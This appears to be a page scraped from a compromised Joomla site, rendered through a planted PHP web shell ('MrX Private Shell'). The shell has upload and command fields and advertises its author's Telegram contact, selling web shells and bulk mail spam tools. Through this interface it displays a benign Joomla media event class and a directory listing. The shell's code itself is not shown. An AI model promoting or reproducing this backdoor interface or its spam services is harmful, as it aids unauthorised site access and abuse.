__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_media
 *
 * @copyright   (C) 2021 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Media\Administrator\Event;

use Joomla\CMS\Event\AbstractImmutableEvent;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Event object to set an url.
 *
 * @since  4.1.0
 */
final class FetchMediaItemUrlEvent extends AbstractImmutableEvent
{
    /**
     * Constructor.
     *
     * @param   string  $name       The event name.
     * @param   array   $arguments  The event arguments.
     *
     * @throws  \BadMethodCallException
     *
     * @since  4.1.0
     */
    public function __construct($name, array $arguments = [])
    {
        // Check for required arguments
        if (!\array_key_exists('adapter', $arguments) || !is_string($arguments['adapter'])) {
            throw new \BadMethodCallException("Argument 'adapter' of event $name is not of the expected type");
        }

        $this->arguments[$arguments['adapter']] = $arguments['adapter'];
        unset($arguments['adapter']);

        // Check for required arguments
        if (!\array_key_exists('path', $arguments) || !is_string($arguments['path'])) {
            throw new \BadMethodCallException("Argument 'path' of event $name is not of the expected type");
        }

        $this->arguments[$arguments['path']] = $arguments['path'];
        unset($arguments['path']);

        // Check for required arguments
        if (!\array_key_exists('url', $arguments) || !is_string($arguments['url'])) {
            throw new \BadMethodCallException("Argument 'url' of event $name is not of the expected type");
        }

        parent::__construct($name, $arguments);
    }

    /**
     * Validate $value to be a string
     *
     * @param   string  $value  The value to set
     *
     * @return string
     *
     * @since   4.1.0
     */
    protected function setUrl(string $value): string
    {
        return $value;
    }

    /**
     * Forbid setting $path
     *
     * @param   string  $value  The value to set
     *
     * @since   4.1.0
     *
     * @throws \BadMethodCallException
     */
    protected function setPath(string $value): string
    {
        throw new \BadMethodCallException('Cannot set the argument "path" of the immutable event ' . $this->name . '.');
    }

    /**
     * Forbid setting $path
     *
     * @param   string  $value  The value to set
     *
     * @since   4.1.0
     *
     * @throws \BadMethodCallException
     */
    protected function setAdapter(string $value): string
    {
        throw new \BadMethodCallException('Cannot set the argument "adapter" of the immutable event ' . $this->name . '.');
    }
}

Filemanager

Name Type Size Permission Actions
AbstractMediaItemValidationEvent.php File 4.83 KB 0664
FetchMediaItemEvent.php File 2.44 KB 0664
FetchMediaItemUrlEvent.php File 2.81 KB 0664
FetchMediaItemsEvent.php File 1.88 KB 0664
MediaProviderEvent.php File 1.3 KB 0664
OAuthCallbackEvent.php File 1.62 KB 0664
Filemanager